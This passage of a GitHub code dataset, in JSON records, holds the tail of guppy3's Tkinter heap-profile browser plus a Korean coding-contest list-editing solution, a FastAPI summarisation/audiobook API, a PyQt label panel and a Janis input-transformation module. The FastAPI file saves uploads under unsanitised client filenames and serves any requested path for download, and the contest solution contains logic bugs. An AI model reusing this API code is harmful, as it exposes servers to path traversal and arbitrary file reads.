frame.resizable(True,True)\n\n        self.menubar = Frame(self.frame, relief=RAISED, bd=2)\n\n        self.filebutton = Menubutton(self.menubar, text='File')\n        self.filemenu = Menu(self.filebutton)\n        self.filebutton['menu'] = self.filemenu\n        self.filemenu.add_command(\n            label='New Profile Browser', command=self.cmd_new)\n        self.filemenu.add_command(label='Open Profile', command=self.cmd_open)\n        self.filemenu.add_command(label='Close Window', command=self.cmd_close)\n        self.filemenu.add_command(\n            label='Clear Cache', command=self.cmd_clear_cache)\n        self.filemenu.add_command(label='Exit', command=self.cmd_exit)\n        self.panebutton = Menubutton(self.menubar, text='Pane')\n        self.panemenu = Menu(self.panebutton)\n        self.panebutton['menu'] = self.panemenu\n\n        choices = [\n            ('Bars', 'Lines'),\n            ('Size', 'Count'),\n        ]\n\n        self.graphtypevar = StringVar()\n        self.graphbutton = self.modechooser(\n            self.menubar, 'Graph', choices,\n            self.graphtypevar, self.cmd_graphtype)\n\n        choices = [\n            ('A', 'B'),\n            ('Size', 'Count'),\n            ('%A:Tot', '%B:Tot'),\n            ('Cumul', 'A-B', 'B-A'),\n            ('%A:Tot', '%B:Tot'),\n            ('Kind',),\n        ]\n\n        self.var_tablemode = StringVar()\n        self.tablebutton = Menubutton(self.menubar, text='Table')\n        self.tablemenu = Menu(self.tablebutton)\n        self.tablebutton['menu'] = self.tablemenu\n        self.headermenu = Menu(self.tablebutton, title='Table header')\n        self.addmodechooser(\n            self.headermenu,\n            choices,\n            self.var_tablemode,\n            self.cmd_tablemode\n        )\n        self.tablemenu.add_cascade(label='Header', menu=self.headermenu)\n        self.var_tablescrollbar = StringVar()\n        self.tablescrollbarmenu = Menu(\n            self.tablebutton, title='Table scrollbar')\n\n        self.addmodechooser(\n            self.tablescrollbarmenu,\n            [('Auto', 'On', 'Off')],\n            self.var_tablescrollbar,\n            self.cmd_tablescrollbar\n        )\n\n        self.tablemenu.add_cascade(\n            label='Scrollbar',\n            menu=self.tablescrollbarmenu)\n\n        self.windowmenu = WindowMenu(self.menubar, self.app.var_window)\n        self.window = app.add_window_frame(self.frame, self.windowmenu)\n\n        self.helpbutton = Menubutton(self.menubar, text='Help')\n        self.helpmenu = Menu(self.helpbutton)\n        self.helpbutton['menu'] = self.helpmenu\n        self.helpmenu.add_command(label='About', command=self.cmd_about)\n        self.helpmenu.add_command(label='Help', command=self.cmd_help)\n\n        self.ctrlframe = Frame(\n            self.frame,\n            bd=2,\n            relief=GROOVE,\n            # background='#999',\n\n\n        )\n\n        self.exitbutton = Button(self.ctrlframe, text='Exit', command=self.cmd_exit,\n                                 background='red')\n\n        self.set_filename(filename)\n\n        self.id_collect = None\n        self.collecting = IntVar()\n        self.collecting.set(0)\n        self.collectbutton = Checkbutton(self.ctrlframe, text='Collect',\n                                         variable=self.collecting,\n                                         command=self.cmd_collect,\n                                         relief=RAISED)\n\n        self.stats = Stats(self.mod)\n\n        self.disptab = Frame(self.frame,\n                             # relief=SUNKEN,\n                             # bd=3\n                             )\n\n        self.display = Display(self.disptab,\n                               scale_table=AxisControl.scale_table,\n                               numkindrows=self.numkindrows,\n                               getkindcolor=self.getkindcolor,\n                               )\n\n        self.xcontrol = AxisControl(self.ctrlframe,\n                                    name='X',\n                                    range=self.display.xrange,\n                                    grid=self.display.xgrid,\n                                    unit='samples',\n                                    rangecommand=self.display.setxrange,\n                                    gridcommand=self.display.setxgrid\n                                    )\n\n        self.ycontrol = AxisControl(self.ctrlframe,\n                                    name='Y',\n                                    range=self.display.yrange,\n                                    grid=self.display.ygrid,\n                                    unit='bytes',\n                                    rangecommand=self.display.setyrange,\n                                    gridcommand=self.display.setygrid,\n                                    autocommand=self.display.cmd_yrange_auto\n                                    )\n\n        self.display.xcontrol = self.xcontrol\n        self.display.ycontrol = self.ycontrol\n\n        self.mcontrols = []\n        self.mcontrolbyname = {}\n        for name in ('A', 'B'):\n            marker = self.display.new_xmarker(name)\n            control = MarkerControl(\n                self.ctrlframe, marker, self.update_tableframe)\n            marker.set_poscommand(control.setsample)\n            self.mcontrols.append(control)\n            self.mcontrolbyname[name] = control\n\n        self.var_showcontrol = BooleanVar()\n        self.var_showcontrol.set(1)\n        self.panemenu.add_checkbutton(\n            label='Show Control Panel',\n            variable=self.var_showcontrol,\n            command=self.cmd_showcontrol)\n\n        self.var_showgraph = BooleanVar()\n        self.var_showgraph.set(1)\n        self.panemenu.add_checkbutton(\n            label='Show Graph',\n            variable=self.var_showgraph,\n            command=self.cmd_showgraph)\n\n        self.var_showtable = BooleanVar()\n        self.var_showtable.set(1)\n        self.panemenu.add_checkbutton(\n            label='Show Table',\n            variable=self.var_showtable,\n            command=self.cmd_showtable)\n\n        tf = self.tf = TableFrame(self, self.disptab)\n        d_t = self.d_t = PaneDiv(self.disptab, movecommand=self.cmd_dt_moved)\n\n        self.xcontrol.frame.grid(row=0, column=0, padx=3, pady=3, sticky=W)\n        self.ycontrol.frame.grid(row=1, column=0, padx=3, pady=3)\n        self.mcontrols[0].frame.grid(\n            row=0, column=1, columnspan=1, sticky=W, padx=3, pady=3)\n        self.mcontrols[1].frame.grid(\n            row=1, column=1, columnspan=1, sticky=W, padx=3, pady=3)\n        self.exitbutton.grid(row=0, column=2, padx=3, pady=3)\n        self.collectbutton.grid(row=0, column=3, padx=3, pady=3)\n\n        self.filler = Filler(self.frame)\n\n        self.filebutton.pack(side=LEFT)\n        self.panebutton.pack(side=LEFT)\n        self.graphbutton.pack(side=LEFT)\n        self.tablebutton.pack(side=LEFT)\n        self.windowmenu.button.pack(side=LEFT)\n        self.helpbutton.pack(side=LEFT)\n\n        self.menubar.grid(column=0, columnspan=4, sticky=N+W+E)\n        self.gridmain()\n\n        frame.bind('<Map>', self.event_map)\n\n        self.tf.setmode(self.var_tablemode.get(), self.numkindrows)\n\n        self.load_filename(filename)\n\n        d_t.frame.update_idletasks()\n        d_t.setheight(max(self.display.frame.winfo_height(),\n                          tf.frame.winfo_height()))\n\n        d_t.frame.update_idletasks()\n        self.minsize = (500, 400)\n        self.maxsize = (self.frame.winfo_screenwidth(),\n                        self.frame.winfo_screenheight())\n        minsizes = {\n            # (ctrl, disp, tab) : (width, height)\n            (0, 0, 0): (270, 25),\n            (1, 0, 0): (363, 61),\n            (0, 1, 0): (270, 131),\n            (1, 1, 0): (270, 131),\n        }\n\n        self.setusergeometry()\n\n        def initfinal():\n            self.tf.setchdim()\n\n            rx = self.frame.winfo_rootx() + self.frame.winfo_width()\n            self.tf_wanted_margin = rx - \\\n                (self.tf.frame.winfo_rootx() + self.tf.frame.winfo_width())\n\n            self.lastw = self.frame.winfo_width()\n            self.lasth = self.frame.winfo_height()\n            self.in_configure = 0\n            frame.bind('<Configure>', self.event_configure)\n            self.inited = 1\n\n        initfinal()\n        # self.frame.after_idle(initfinal)\n\n    def cmd_about(self):\n        self.cmd_help('about')\n\n    def cmd_help(self, pickname='help'):\n        os = self.mod.os\n        ocursor = self.frame.winfo_toplevel()['cursor']\n        try:\n            self.frame.winfo_toplevel()['cursor'] = 'watch'\n            self.frame.update()\n            m = self.mod.Text.gsltextviewer(\n                self.frame,\n                inpickle=getattr(self.mod.pbhelp, pickname)\n                # htmloutfile='/tmp/x.html',\n            )\n\n            self.app.add_window_frame(m)\n        finally:\n            self.frame.winfo_toplevel()['cursor'] = ocursor\n\n    def cmd_clear_cache(self):\n        self.stats.clear_cache()\n\n    def cmd_close(self):\n        self.frame.destroy()\n\n    def cmd_collect(self, *args):\n        # self.afterfunc()\n        # self.frame.after(1, self.afterfunc) # Turn on button first.??\n\n        if self.collecting.get():\n            self.event_collect()\n        else:\n            if self.id_collect is not None:\n                self.frame.after_cancel(self.id_collect)\n                self.id_collect = None\n\n    def event_collect(self):\n        o, n = self.stats.collect()\n        if n:\n            if o != self.display.numstats:\n                self.display.load_stats(self.stats)\n            else:\n                st = self.stats[-n:]\n                self.display.add_stats(st)\n            for c in self.mcontrols:\n                c.setnumsamples(len(self.stats))\n\n        self.id_collect = self.frame.after(1000, self.event_collect)\n\n    def cmd_dt_moved(self, dx):\n        # The division between display and table panes moved.\n\n        # Disable configure event handling while we are resizing.\n        self.in_configure += 1\n\n        # Right x position of enclosing frame\n\n        rx = self.frame.winfo_rootx() + self.frame.winfo_width()\n\n        # Right margin between pane divider and enclosing window\n\n        mx = rx - (self.d_t.frame.winfo_rootx() + self.d_t.frame.winfo_width())\n\n        # Don't move pane divider outside window\n        dx = min(dx, mx)\n\n        # Right margin between table and enclosing window\n        # before resizing\n        mx = rx - (self.tf.frame.winfo_rootx() + self.tf.frame.winfo_width())\n\n        dx, _ = self.display.resize(dx, 0)\n\n        wanted_margin = self.tf_wanted_margin\n\n        # After move\n        mx -= dx\n        self.tf.resize(mx - wanted_margin, 0)\n\n        self.display.moveback()\n\n        self.in_configure -= 1\n\n    def cmd_exit(self):\n        self.app.exit()\n\n    def cmd_graphtype(self):\n        self.display.setgraphtype(self.graphtypevar.get(), self.stats)\n        self.cmd_tablemode()\n\n    def cmd_new(self):\n        self.app.new_profile_browser(self.filename)\n\n    def cmd_open(self):\n        op = tkinter.filedialog.Open(self.frame,\n                                     # ? Should we have default extension or not??\n                                     # defaultextension='.hpy',\n                                     initialdir=self.initialdir,\n                                     filetypes=[('Heapy data files', '.hpy'),\n                                                ('All files', '*')\n                                                ]\n                                     )\n        filename = op.show()\n        if filename:\n            self.load_filename(filename)\n\n    def cmd_showcontrol(self):\n        self.grid_things()\n\n    def cmd_showgraph(self):\n        if self.var_showgraph.get() and self.var_showtable.get():\n            self.tf.resize(-self.tf.totxresize, 0)\n            self.display.resize(self.display.orgwidth - self.display.botx, 0)\n            self.display.moveback()\n        self.grid_things()\n\n    cmd_showtable = cmd_showgraph\n\n    def cmd_tablemode(self):\n        self.tf.setmode(self.var_tablemode.get(), self.numkindrows)\n        self.tf.update()\n\n    def cmd_tablescrollbar(self):\n        tf = self.tf\n        s = self.var_tablescrollbar.get()\n        if s == 'Auto':\n            tf.auto_scrollbar = 1\n            tf.update(force=1, setscrollbar=1)\n        elif s == 'On':\n            tf.auto_scrollbar = 0\n            tf.setscrollbar(1)\n        elif s == 'Off':\n            tf.auto_scrollbar = 0\n            tf.setscrollbar(0)\n        else:\n            assert 0\n\n    def setusergeometry(self):\n        # Make the geometry of the window be user-specified\n        # This is called after Tk has determined the size\n        # of the window needed for the initial widget configuration.\n        # The size is not to be changed after that, other than\n        # on user request.\n        # I couldn't just do frame.geometry(frame.geometry()) because,\n        # presumably, of a bug in the Tk and/or wm I am using. I hope\n        # this works for all systems .. Notes  26 Oct 2005.\n\n        self.frame.update()\n        g = '%dx%d+%d+%d' % (\n            self.frame.winfo_width(),\n            self.frame.winfo_height(),\n            self.frame.winfo_rootx(),\n            self.frame.winfo_rooty())\n        self.frame.geometry(g)\n\n    def modechooser(self, frame, name, choices, cmdvar, command):\n\n        button = Menubutton(frame, text=name)\n        menu = Menu(button)\n        button['menu'] = menu\n\n        self.addmodechooser(menu, choices, cmdvar, command)\n        return button\n\n    def addmodechooser(self, menu, choices, cmdvar, command):\n\n        def setcmdvar():\n            cmdvar.set(' '.join([v.get() for v in vars]))\n\n        def cmd():\n            setcmdvar()\n            command()\n\n        vars = []\n        for ch in choices:\n            var = StringVar()\n            vars.append(var)\n            var.set(ch[0])\n            for a in ch:\n                menu.add_radiobutton(\n                    command=cmd,\n                    label=a,\n                    value=a,\n                    variable=var,\n                    #font=('Courier','12', 'bold'),\n                    #font=('Helvetica','12', 'bold'),\n                    columnbreak=(a == ch[0])\n                )\n\n        setcmdvar()\n\n    def grid_things(self):\n        ow = self.frame.winfo_width()\n        oh = self.frame.winfo_height()\n\n        self.ctrlframe.grid_forget()\n        self.display.frame.grid_forget()\n        self.d_t.frame.grid_forget()\n        self.tf.frame.grid_forget()\n        self.disptab.grid_forget()\n        self.filler.frame.grid_forget()\n\n        self.gridmain()\n\n        self.frame.update_idletasks()\n        self.sizewidgets()\n\n    def gridmain(self):\n\n        row = 1\n\n        c = self.var_showcontrol.get()\n        if c:\n            self.ctrlframe.grid(row=row, column=0,\n                                columnspan=3, padx=3, pady=3, sticky=W)\n            row += 1\n\n        column = 0\n\n        g = self.var_showgraph.get()\n        t = self.var_showtable.get()\n        gt = (g, t)\n        if g:\n            self.display.frame.grid(row=0, column=column, sticky=N+W,\n                                    padx=3, pady=3\n                                    )\n            column += 1\n\n        if g and t:\n            self.d_t.frame.grid(row=0, column=column, sticky=N+W)\n            column += 1\n        if t:\n            self.tf.frame.grid(row=0, column=column, sticky=N+W, padx=3, pady=3\n                               )\n        if g or t:\n            self.disptab.grid(row=row, column=0,\n                              sticky=N+W,\n                              # padx=3,pady=3,\n                              )\n            row += 1\n        self.filler.setsize(0, 0)\n        self.filler.frame.grid(row=row, column=3, sticky=N+W)\n\n        self.frame.resizable(1, 1)\n\n    def event_configure(self, event):\n        if event.widget is not self.frame:\n            return\n\n        if not self.inited:\n            return\n\n        if self.in_configure:\n            return\n\n        curw = self.frame.winfo_width()\n        curh = self.frame.winfo_height()\n        if curw == self.lastw and curh == self.lasth:\n            return\n\n        self.in_configure += 1\n\n        self.lastw = curw\n        self.lasth = curh\n\n        self.sizewidgets()\n\n        self.in_configure -= 1\n\n    def sizewidgets(self):\n        self.frame.update()\n        curw = self.frame.winfo_width()\n        curh = self.frame.winfo_height()\n\n        mbx = self.menubar.winfo_rootx()\n        mby = self.menubar.winfo_rooty()\n\n        sfs = []\n        if self.var_showgraph.get():\n            sfs.append(self.display)\n        if self.var_showtable.get():\n            sfs.append(self.tf)\n\n        if not sfs:\n            sfs.append(self.filler)\n\n        dys = {}\n        didh = 0\n        for sf in sfs:\n            f = sf.frame\n            diy = f.winfo_rooty()\n            dih = f.winfo_height()\n\n            ch = diy - mby + dih\n            dy = curh - ch - 7\n            didh = didh or dy\n            dys[sf] = dy\n\n        if self.var_showtable.get():\n            f = self.tf.frame\n        elif self.var_showgraph.get():\n            f = self.display.frame\n        else:\n            f = self.filler.frame\n\n        fx = f.winfo_rootx()\n        fw = f.winfo_width()\n\n        cw = fx - mbx + fw\n\n        fdw = curw - cw - 6\n\n        if f is self.filler.frame and not self.var_showcontrol.get():\n            fdw = curw - self.filler.getsize()[0] - 3\n\n        if didh or fdw:\n            if self.var_showgraph.get() and self.var_showtable.get():\n                dprop = float(self.display.frame.winfo_width())\n                dprop = dprop / (dprop + self.tf.frame.winfo_width())\n                dx, dy = self.display.resize(fdw * dprop, dys[self.display])\n                self.tf.resize(fdw - dx, dys[self.tf])\n                self.frame.update_idletasks()\n                self.d_t.setheight(max(self.display.frame.winfo_height(),\n                                       self.tf.frame.winfo_height()))\n\n            elif self.var_showgraph.get():\n                self.display.resize(fdw, dys[self.display])\n            elif self.var_showtable.get():\n                self.tf.resize(fdw, dys[self.tf])\n            else:\n                self.filler.resize(fdw, dys[self.filler])\n                self.filler.setsize(self.filler.getsize()[0], 1000)\n            if self.var_showgraph.get():\n                self.display.moveback()\n\n        #self.resize(dw, dh)\n\n    def resize(self, dw, dh):\n        self.display.resize(dw, dh)\n        # self.frame.wm_geometry('')\n\n    def event_map(self, event):\n        self.frame.unbind('<Map>')\n        self.frame.bind('<Unmap>', self.event_unmap)\n        self.frame.lift()\n\n    def event_unmap(self, event):\n        self.frame.unbind('<Unmap>')\n        self.frame.bind('<Map>', self.event_map)\n\n    def load_filename(self, filename):\n        ocursor = self.frame.winfo_toplevel()['cursor']\n        try:\n            self.frame.winfo_toplevel()['cursor'] = 'watch'\n            self.frame.update()\n            if filename:\n                filename = self.mod.path.abspath(filename)\n            try:\n                self.stats.open(filename)\n            except Exception:\n                __import__('traceback').print_exc()\n                etype, value, tb = self.mod._root.sys.exc_info()\n                tkinter.messagebox.showerror(\n                    master=self.frame,\n                    message=(\n                        \"Error when loading\\n%r:\\n\" % filename +\n                        \"%s\" % ''.join(self.mod._root.traceback.format_exception_only(\n                            etype, value)))\n                )\n            else:\n                self.display.load_stats(self.stats)\n\n                for c in self.mcontrols:\n                    c.setnumsamples(len(self.stats))\n                # self.scontrol.trackcommand(1)\n                self.set_filename(filename)\n\n                self.xrange_fit()\n                self.display.xview_moveto(0)\n                self.mcontrols[1].settracking(0)\n                self.mcontrols[0].settracking(1)\n                self.yrange_fit()\n                self.tf.update(force=1)\n                if filename:\n                    self.initialdir = self.mod.path.dirname(filename)\n\n        finally:\n            self.frame.winfo_toplevel()['cursor'] = ocursor\n\n    def update_tableframe(self):\n        self.tf.update()\n\n    def getkindcolor(self, kind):\n        if kind == '<Other>':\n            return 'black'\n        else:\n            return self.colors[abs(hash(kind)) % len(self.colors)]\n\n    def set_filename(self, filename):\n        self.filename = filename\n        if not filename:\n            filename = '<No File>'\n        title = 'Heapy Profile Browser: %s' % filename\n        self.window.title(title)\n\n    def setnormpos(self):\n        self.setscrollregion()\n        if self.ymax >= self.yrange:\n            self.yrange_fit()\n        if self.xi0 is None:\n            self.drawxaxis()\n        else:\n            self.updatexaxis()\n\n        self.track()\n\n    def redraw_all(self):\n        pass\n\n    def trackoff(self):\n        self.rcontrol.settracking(0)\n\n    def xrange_fit(self):\n        self.xcontrol.fit(len(self.stats))\n\n    def yrange_fit(self):\n        self.display.yrange_auto(force=1)\n\n\nclass _GLUECLAMP_:\n    _imports_ = (\n        '_parent:Use',\n        '_parent:pbhelp',\n        '_root.guppy.etc:textView',\n        '_root:hashlib',\n        '_root:os',\n        '_root.os:path',\n        '_root:time',\n        '_root.guppy.gsl:Text',\n    )\n\n    def pb(self, filename=None):\n        \"\"\"pb( [filename: profilefilename+])\n\nCreate a Profile Browser window.\n\nArgument\n    filename: profilefilename+\n        The name of a file containing profile data.\nSee also\n    Heapy Profile Browser[1]\n    Screenshot[2]\nReferences\n    [0] heapy_Use.html#heapykinds.Use.pb\n    [1] ProfileBrowser.html\n    [2] pbscreen.jpg\"\"\"\n\n        pa = ProfileApp(self)\n        pa.new_profile_browser(filename)\n        pa.mainloop()\n\n    def tpg(self):\n        self('/tmp/x.hpy')\n","repo_name":"zhuyifei1999/guppy3","sub_path":"guppy/heapy/Prof.py","file_name":"Prof.py","file_ext":"py","file_size_in_byte":92546,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"21"}
+{"seq_id":"5966404254","text":"# https://swexpertacademy.com/main/code/problem/problemDetail.do?contestProbId=AV14zIwqAHwCFAYD&categoryId=AV14zIwqAHwCFAYD&categoryType=CODE&problemTitle=%EB%AC%B8%EC%A0%9C%ED%95%B4%EA%B2%B0&orderBy=FIRST_REG_DATETIME&selectCodeLang=ALL&select-1=&pageSize=10&pageIndex=3\r\n\r\nfor tc in range(1, 11):\r\n    arr_num = int(input())\r\n    arr = list(input().split())\r\n    commands_num = int(input())\r\n    commands = list(input().split())\r\n\r\n    for c in commands:\r\n        if c == \"I\":\r\n            command = \"I\"\r\n            start = \"None\"\r\n            insert_cnt = \"None\"\r\n            continue\r\n        elif c == \"D\":\r\n            command = \"D\"\r\n            del_start = -float('inf')\r\n            continue\r\n        elif c == \"A\":\r\n            command = \"A\"\r\n            add_cnt = -float('inf')\r\n            continue\r\n\r\n        if command == \"D\":\r\n            if del_start == -float('inf'):\r\n                del_start = int(c)\r\n                continue\r\n            else:\r\n                for _ in range(int(c)):\r\n                    del arr[del_start]\r\n            command == \"None\"\r\n        elif command == \"I\":\r\n            if start == \"None\":\r\n                start = int(c)\r\n                idx_cnt = 0\r\n                continue\r\n            if insert_cnt == \"None\":\r\n                insert_cnt = int(c)\r\n                continue\r\n            if insert_cnt > idx_cnt:\r\n                arr.insert(start + idx_cnt, c)\r\n                idx_cnt += 1\r\n                continue\r\n        elif command == \"A\":\r\n            if add_cnt == -float(\"inf\"):\r\n                add_cnt = c\r\n                idx_cnt = 0\r\n            elif idx_cnt < add_cnt:\r\n                arr.append(c)\r\n                idx_cnt += 1\r\n                continue\r\n        command = \"None\"\r\n    print(f'#{tc} {\" \".join(arr[0:10])}')","repo_name":"kylew1004/algorithm","sub_path":"SW Expert Academy/d3/1230.py","file_name":"1230.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20132702925","text":"# import fastapi\nfrom fastapi import FastAPI, Form, File, UploadFile\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.responses import FileResponse\nimport summarization as smz\nfrom summarization import get_para_sentiment\nfrom audio_book import save_as_audio_file\nimport os\napp = FastAPI()\n\norigins = [\n    \"http://localhost.tiangolo.com\",\n    \"https://localhost.tiangolo.com\",\n    \"http://localhost\",\n    \"http://localhost:8080\",\n    \"http://localhost:3000\",\n]\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=origins,\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\ndef save_file(file, path):\n    print(os.getcwd())\n    with open(os.path.join(path, file.filename), \"wb\") as buffer:\n        buffer.write(file.file.read())\n\n\n# Create a route\n@app.get(\"/\")\ndef index():\n    return {\"data\": {\"api\": \"textomatic api\", \"version\": \"0.1\", \"author\": \"Sufiya ansari\"}}\n\n# Create a route that excepts files from form\n@app.post(\"/files/\")\nasync def create_file(file: bytes = File(...)):\n    return {\"file_size\": len(file)}\n\n# Create a route that excepts files from form\n@app.post(\"/uploadfile/\")\nasync def create_upload_file(file: UploadFile = File(...)):\n    save_file(file, path=\"../uploads\")\n    return {\"filename\": file.filename, 'status': 'success'}\n\n# Create a route that excepts music files\n@app.post(\"/generateaudiobook/\")\nasync def generate_audiobook(file: UploadFile = File(...)):\n    save_file(file, path=\"../uploads/pdfs\")\n    print(file.filename)\n    save_as_audio_file(os.path.join('../uploads/pdfs',file.filename ), 'book.mp3')\n    return {\"url\": 'http://localhost:8000/downloadaudio/book.mp3', 'status': 'success'}\n\n@app.get(\"/downloadaudio/{filename}\")\nasync def download_file(filename: str):\n    # Serve the file to the client as a response using `FileResponse` from the given filename\n    return FileResponse(filename, media_type=\"application/octet-stream\")\n\n# create a api route that summarizes the text str \n@app.post(\"/textomatic/api/v1/summarize/text\")\nasync def summarize_text(text: str = Form(...)):\n    file = open(\"../uploads/text.txt\", \"w\")\n    file.write(text)\n    file.close()\n    summary = smz.generate_summary('../uploads/text.txt',2)\n    return {'summary': summary,\n            'sentiment' : get_para_sentiment(summary),\n            'summary_length': len(summary),\n            'status': 'success'}\n\n# create an api route that summarizes the file after getting text from the file\n@app.post(\"/textomatic/api/v1/summarize\")\nasync def summarize(file: UploadFile = File(...)):\n    save_file(file, path=\"../uploads\")\n    summary = smz.generate_summary('../uploads/'+file.filename,2)\n    return {'summary': summary,\n            'sentiment' : get_para_sentiment(summary),\n            'summary_length': len(summary),\n            'status': 'success'}\n\nif __name__ == \"__main__\":\n    import uvicorn\n    uvicorn.run(app, host=\"0.0.0.0\", port=8000)","repo_name":"Kartikeyasthana9/Text-O-Matic","sub_path":"Python API/API/majorapi.py","file_name":"majorapi.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28964443495","text":"from PyQt5.QtCore import QModelIndex, pyqtSignal, Qt\nfrom PyQt5.QtGui import QColor, QStandardItem, QStandardItemModel\nfrom PyQt5.QtWidgets import QVBoxLayout, QListWidgetItem, QMenu, QPushButton, QWidget, QListView, QAction, QListWidget, QLabel, QHBoxLayout\n\n\nclass LabelPanel(QWidget):\n    sig_delete_room = pyqtSignal(str)\n\n    def __init__(self, parent):\n        super().__init__(parent)\n        layout = QVBoxLayout(self)\n        self.list_view = QListWidget()\n        self.del_btn = QPushButton('del')\n        self.del_btn.clicked.connect(self.click_delete)\n        layout.addWidget(self.list_view)\n        layout.addWidget(self.del_btn)\n\n    def add_label(self, id, color):\n        item = QListWidgetItem(id)\n        item.setBackground(color)\n        self.list_view.addItem(item)\n\n    def click_delete(self):\n        items = self.list_view.selectedItems()\n        if len(items) > 0:\n            id = items[0].text()\n            self.sig_delete_room.emit(id)\n            self.list_view.takeItem(self.list_view.row(items[0]))\n            self.list_view.setCurrentIndex(QModelIndex())\n\n    def clear(self):\n        self.list_view.clear()\n\n\nclass LabelListItem(QStandardItem):\n    def __init__(self, text=None, color=None):\n        super().__init__()\n        self.setText(text)\n        if color is not None:\n            self.setBackground(color)\n        self.setSelectable(False)\n        self.setEditable(False)\n","repo_name":"liu115/floorplan-labeler","sub_path":"label_panel.py","file_name":"label_panel.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"86745904949","text":"import os\nimport traceback\nfrom traceback import format_stack\nfrom typing import Dict\nfrom janis_core import (\n    Tool,\n    TInput,\n    File,\n    Array,\n    Logger,\n    JanisShed,\n    JanisTransformation,\n    DataType,\n)\nfrom janis_core.utils import first_value\n\nfrom janis_assistant.modifiers.base import PipelineModifierBase\nfrom janis_assistant.utils.typeguesser import guess_datatype_by_filename\n\n\nclass InputTransformerModifier(PipelineModifierBase):\n    def __init__(self, cache_dir):\n        self.cache_dir = cache_dir\n\n    def inputs_modifier(self, tool: Tool, inputs: Dict, hints: Dict[str, str]) -> Dict:\n\n        new_inputs = {}\n        for inp in tool.tool_inputs():\n            if not isinstance(inp.intype, File):\n                continue\n            value = inputs.get(inp.id())\n            if value is not None:\n                processed_value = self.check_input_for_correctness(\n                    inp.id(), inp.intype, value\n                )\n                if processed_value is not None:\n                    new_inputs[inp.id()] = processed_value\n\n        return {**inputs, **new_inputs}\n\n    def check_input_for_correctness(self, inpid: str, dt: DataType, value: any):\n        if isinstance(dt, Array):\n            if isinstance(value, list):\n                return [\n                    self.check_input_for_correctness(f\"{inpid}[{idx}]\", dt.subtype(), v)\n                    for idx, v in zip(range(len(value)), value)\n                ]\n\n        if not isinstance(dt, File):\n            return value\n\n        if not isinstance(value, str):\n            Logger.warn(\n                f\"Expecting string type input '{inpid}' for type File, but received '{type(value)}'. Janis won't transform this value, but you should confirm your inputs.\"\n            )\n            return value\n\n        guessed_datatype = guess_datatype_by_filename(value)\n\n        if not guessed_datatype:\n            Logger.info(\n                f\"Couldn't guess datatype for {value}. Returning the value instead.\"\n            )\n            return value\n\n        if dt.can_receive_from(guessed_datatype):\n            Logger.debug(f\"Input '{inpid}' had a compatible type\")\n            return value\n\n        message_prefix = (\n            f\"The value for input '{inpid}' did not match the expected type {dt.name()} \"\n            f\"through the extension and / or existence of secondary files\"\n        )\n        if not guessed_datatype:\n            Logger.warn(\n                message_prefix\n                + f\"\\nand Janis couldn't guess the datatype from the input for {inpid} and value '{value}'.\"\n            )\n            return value\n        try:\n            transformation = JanisShed.get_transformation_graph().find_connection(\n                guessed_datatype, dt\n            )\n            steps = (\n                \"\".join(t.type1.name() + \" -> \" for t in transformation)\n                + transformation[-1].type2.name()\n            )\n            Logger.warn(\n                message_prefix\n                + f\",\\nJanis guessed the actual datatype for '{inpid}' from data '{value}' to be {guessed_datatype.id()}, \"\n                f\"and Janis was able to determine a transformation in {len(transformation)} step(s): {steps}\"\n            )\n            wf = JanisTransformation.convert_transformations_to_workflow(transformation)\n\n            trans = wf.translate(\"wdl\", to_console=False)[0]\n            Logger.debug(\n                f\"Transforming {inpid} ({guessed_datatype.name()} -> {dt.name()}): {trans}\"\n            )\n        except Exception as e:\n            Logger.warn(\n                message_prefix\n                + f\",\\nbut Janis couldn't find a transformation between the guessed and expected type:\"\n                f\" {guessed_datatype.name()} -> {dt.name()}: {str(e)}\"\n            )\n            return value\n\n        # maybe do some other things with respect to the path\n\n        try:\n            return self.try_get_outputs_for(\n                inpid=inpid,\n                wf=wf,\n                inputs={wf.tool_inputs()[0].id(): value},\n                output_dir=os.path.join(self.cache_dir, inpid),\n                description=f\"{guessed_datatype.name()} -> {dt.name()}\",\n            )\n\n        except Exception as e:\n            Logger.critical(\n                f\"An internal error occurred when performing the transformation for {inpid} \"\n                f\"({guessed_datatype.name()} -> {dt.name()}): {str(e)}\"\n            )\n            Logger.debug(traceback.format_exc())\n\n            return value\n\n    def try_get_outputs_for(self, inpid, wf, inputs, output_dir, description):\n\n        from janis_assistant.main import WorkflowManager, run_with_outputs\n\n        if os.path.exists(output_dir):\n            try:\n                wm = WorkflowManager.from_path_get_latest_manager(\n                    output_dir, readonly=True\n                )\n                outs_raw = wm.database.outputsDB.get()\n                outs = {\n                    o.id_: o.value or o.new_path\n                    for o in outs_raw\n                    if o.value or o.new_path\n                }\n                if len(outs) > 0:\n                    out_val = first_value(outs)\n                    Logger.info(\n                        f\"Using cached value of transformation ({description}) for {inpid}: {out_val}\"\n                    )\n                    return out_val\n                Logger.log(\n                    f\"Didn't get any outputs from previous workflow manager when deriving input {inpid} ({description})\"\n                )\n            except Exception as e:\n                Logger.debug(\n                    f\"Couldn't get outputs from existing output_path for {inpid}, '{output_dir}' ({description}): {e}\"\n                )\n\n        outs = run_with_outputs(wf, inputs=inputs, output_dir=output_dir)\n        if not outs or len(outs) < 1:\n            Logger.critical(\n                f\"Couldn't get outputs from transformation ({description}) for '{inpid}'\"\n            )\n            return None\n\n        return first_value(outs)\n\n\nif __name__ == \"__main__\":\n    ft = guess_datatype_by_filename(\"janis/prepare/gridss_blacklist/ENCFF356LFX.bed.gz\")\n    print(ft)\n","repo_name":"PMCC-BioinformaticsCore/janis-assistant","sub_path":"janis_assistant/modifiers/inputtransformermodifier.py","file_name":"inputtransformermodifier.py","file_ext":"py","file_size_in_byte":6177,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
